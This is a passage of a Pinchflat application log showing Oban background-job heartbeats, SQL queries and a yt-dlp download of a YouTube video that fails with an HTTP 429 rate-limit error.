Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"force":true,"id":51},"id":174,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":4542245,"event":"job:exception","queue_time":259464,"attempt":10,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:26:47.308 [info] {"source":"oban","duration":1685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:27:00.256 [info] {"source":"oban","duration":439,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:27:17.310 [info] {"source":"oban","duration":568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:27:47.312 [info] {"source":"oban","duration":1657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:28:00.256 [info] {"source":"oban","duration":175,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:28:17.315 [info] {"source":"oban","duration":1460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:28:47.317 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:29:00.257 [info] {"source":"oban","duration":199,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:29:17.319 [info] {"source":"oban","duration":1492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:29:47.321 [info] {"source":"oban","duration":1426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:30:00.259 [info] {"source":"oban","duration":479,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:30:17.323 [info] {"source":"oban","duration":1858,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:30:47.326 [info] {"source":"oban","duration":1641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:31:00.260 [info] {"source":"oban","duration":556,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:31:17.328 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:31:47.329 [info] {"source":"oban","duration":841,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:32:00.261 [info] {"source":"oban","duration":483,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:32:17.332 [info] {"source":"oban","duration":1406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:32:47.333 [info] {"source":"oban","duration":528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:33:00.262 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:33:17.334 [info] {"source":"oban","duration":1151,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:33:47.337 [info] {"source":"oban","duration":1308,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:34:00.263 [info] {"source":"oban","duration":325,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:34:17.338 [info] {"source":"oban","duration":506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:34:47.340 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:35:00.264 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:35:17.342 [info] {"source":"oban","duration":1370,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:35:47.344 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:36:00.265 [info] {"source":"oban","duration":515,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:36:17.346 [info] {"source":"oban","duration":1559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:36:47.348 [info] {"source":"oban","duration":1304,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:37:00.266 [info] {"source":"oban","duration":308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:37:17.350 [info] {"source":"oban","duration":1270,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:37:47.352 [info] {"source":"oban","duration":1439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:38:00.267 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:38:17.353 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:38:47.355 [info] {"source":"oban","duration":1473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:39:00.268 [info] {"source":"oban","duration":478,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:39:17.356 [info] {"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:39:47.357 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:40:00.269 [info] {"source":"oban","duration":276,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:40:17.359 [info] {"source":"oban","duration":1213,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:40:47.361 [info] {"source":"oban","duration":1375,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:41:00.270 [info] {"source":"oban","duration":503,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:41:17.363 [info] {"source":"oban","duration":1279,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:41:47.365 [info] {"source":"oban","duration":1480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:42:00.271 [info] {"source":"oban","duration":488,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:42:17.367 [info] {"source":"oban","duration":1530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:42:47.369 [info] {"source":"oban","duration":1370,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:43:00.272 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:43:17.371 [info] {"source":"oban","duration":1551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:43:47.373 [info] {"source":"oban","duration":1665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:44:00.273 [info] {"source":"oban","duration":427,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:44:17.376 [info] {"source":"oban","duration":1611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:44:47.377 [info] {"source":"oban","duration":891,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:45:00.274 [info] {"source":"oban","duration":521,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:45:09.500 [info] {"args":{"force":true,"id":51},"id":174,"meta":{},"system_time":1784861109500109308,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":11,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:45:09.500 [debug] QUERY OK source="media_items" db=0.1ms idle=782.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [51] 22:45:09.500 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:45:09.501 [debug] QUERY OK source="sources" db=0.1ms idle=782.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:45:09.501 [debug] QUERY OK source="media_profiles" db=0.0ms idle=783.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:45:09.501 [debug] QUERY OK source="media_items" db=0.1ms idle=173.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [51] 22:45:09.502 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [51] 22:45:09.502 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:45:09.502 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:45:09.502 [debug] Running yt-dlp command for action: get_downloadable_status 22:45:09.503 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:45:09.503 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:45:09.503 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:45:09.503 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/28/a4/28a442bb7cc2b7fff38cebea491d312124f85ecb485909a5cc07db81ae7adb36.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:45:13.706 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/28/a4/28a442bb7cc2b7fff38cebea491d312124f85ecb485909a5cc07db81ae7adb36.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:45:13.706 [debug] Running yt-dlp command for action: download 22:45:13.706 [debug] QUERY OK source="settings" db=0.1ms idle=988.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:45:13.707 [debug] QUERY OK source="settings" db=0.1ms idle=989.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:45:13.707 [debug] QUERY OK source="settings" db=0.1ms idle=989.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:45:13.707 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --no-simulate --no-progress --force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/f3/e1/f3e146b69849c053216e83b7fc3bcfa7e374cdd7668603de2377f2ed9bf73b6b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:45:16.387 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --no-simulate --no-progress --force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/f3/e1/f3e146b69849c053216e83b7fc3bcfa7e374cdd7668603de2377f2ed9bf73b6b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests 22:45:16.387 [error] yt-dlp download error for media item #51: "ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests\n" 22:45:16.526 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"force":true,"id":51},"id":174,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":6887355,"event":"job:exception","queue_time":208014,"attempt":11,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:45:17.380 [info] {"source":"oban","duration":1625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:45:47.382 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:46:00.275 [info] {"source":"oban","duration":470,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:46:17.383 [info] {"source":"oban","duration":592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:46:47.384 [info] {"source":"oban","duration":912,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:47:00.276 [info] {"source":"oban","duration":576,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:47:17.387 [info] {"source":"oban","duration":1687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:47:47.388 [info] {"source":"oban","duration":955,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:48:00.277 [info] {"source":"oban","duration":503,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:48:17.391 [info] {"source":"oban","duration":1619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:48:47.392 [info] {"source":"oban","duration":518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:49:00.278 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:49:17.393 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:49:47.395 [info] {"source":"oban","duration":1650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:50:00.280 [info] {"source":"oban","duration":275,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:50:17.397 [info] {"source":"oban","duration":1387,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:50:47.399 [info] {"source":"oban","duration":1470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:51:00.281 [info] {"source":"oban","duration":466,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:51:17.401 [info] {"source":"oban","duration":1567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:51:47.403 [info] {"source":"oban","duration":1601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:52:00.282 [info] {"source":"oban","duration":475,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:52:17.405 [info] {"source":"oban","duration":1480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:52:47.407 [info] {"source":"oban","duration":1649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:53:00.283 [info] {"source":"oban","duration":441,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:53:17.409 [info] {"source":"oban","duration":1657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:53:47.412 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:54:00.284 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:54:17.414 [info] {"source":"oban","duration":1375,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:54:47.416 [info] {"source":"oban","duration":1304,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:55:00.285 [info] {"source":"oban","duration":500,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:55:17.418 [info] {"source":"oban","duration":1591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:55:47.419 [info] {"source":"oban","duration":1052,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:56:00.286 [info] {"source":"oban","duration":547,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:56:17.422 [info] {"source":"oban","duration":1590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:56:47.424 [info] {"source":"oban","duration":1660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:57:00.287 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:57:17.427 [info] {"source":"oban","duration":1462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:57:47.429 [info] {"source":"oban","duration":1606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:58:00.288 [info] {"source":"oban","duration":306,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:58:17.431 [info] {"source":"oban","duration":1621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:58:47.433 [info] {"source":"oban","duration":1593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:59:00.289 [info] {"source":"oban","duration":489,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:59:17.435 [info] {"source":"oban","duration":1487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:59:47.437 [info] {"source":"oban","duration":1548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:00:00.290 [info] {"source":"oban","duration":307,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:00:17.439 [info] {"source":"oban","duration":1656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:00:47.442 [info] {"source":"oban","duration":1506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:01:00.291 [info] {"source":"oban","duration":301,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:01:17.444 [info] {"source":"oban","duration":1603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:01:47.446 [info] {"source":"oban","duration":1237,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:02:00.292 [info] {"source":"oban","duration":195,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:02:17.448 [info] {"source":"oban","duration":1673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:02:47.450 [info] {"source":"oban","duration":1425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:03:00.293 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:03:17.452 [info] {"source":"oban","duration":1469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:03:47.454 [info] {"source":"oban","duration":1603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:04:00.293 [info] {"source":"oban","duration":219,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:04:17.456 [info] {"source":"oban","duration":1530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:04:47.458 [info] {"source":"oban","duration":1570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:05:00.295 [info] {"source":"oban","duration":437,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:05:17.460 [info] {"source":"oban","duration":1622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:05:47.462 [info] {"source":"oban","duration":1557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:06:00.296 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:06:17.464 [info] {"source":"oban","duration":1648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:06:47.467 [info] {"source":"oban","duration":1608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:07:00.297 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:07:17.469 [info] {"source":"oban","duration":1421,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:07:47.471 [info] {"source":"oban","duration":1658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:08:00.297 [info] {"source":"oban","duration":178,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:08:17.473 [info] {"source":"oban","duration":1432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:08:47.475 [info] {"source":"oban","duration":1622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:09:00.298 [info] {"source":"oban","duration":222,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:09:17.477 [info] {"source":"oban","duration":1347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:09:47.479 [info] {"source":"oban","duration":1415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:10:00.300 [info] {"source":"oban","duration":233,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:10:17.481 [info] {"source":"oban","duration":1673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:10:47.483 [info] {"source":"oban","duration":1416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:11:00.301 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:11:17.485 [info] {"source":"oban","duration":1633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:11:47.487 [info] {"source":"oban","duration":1713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:12:00.302 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:12:17.490 [info] {"source":"oban","duration":1591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:12:47.491 [info] {"source":"oban","duration":549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:13:00.303 [info] {"source":"oban","duration":239,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:13:17.492 [info] {"source":"oban","duration":1096,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:13:47.495 [info] {"source":"oban","duration":1661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:14:00.304 [info] {"source":"oban","duration":214,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:14:17.496 [info] {"source":"oban","duration":542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:14:47.497 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:15:00.305 [info] {"source":"oban","duration":174,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:15:17.498 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:15:47.499 [info] {"source":"oban","duration":790,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:16:00.306 [info] {"source":"oban","duration":270,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:16:17.500 [info] {"source":"oban","duration":575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:16:47.501 [info] 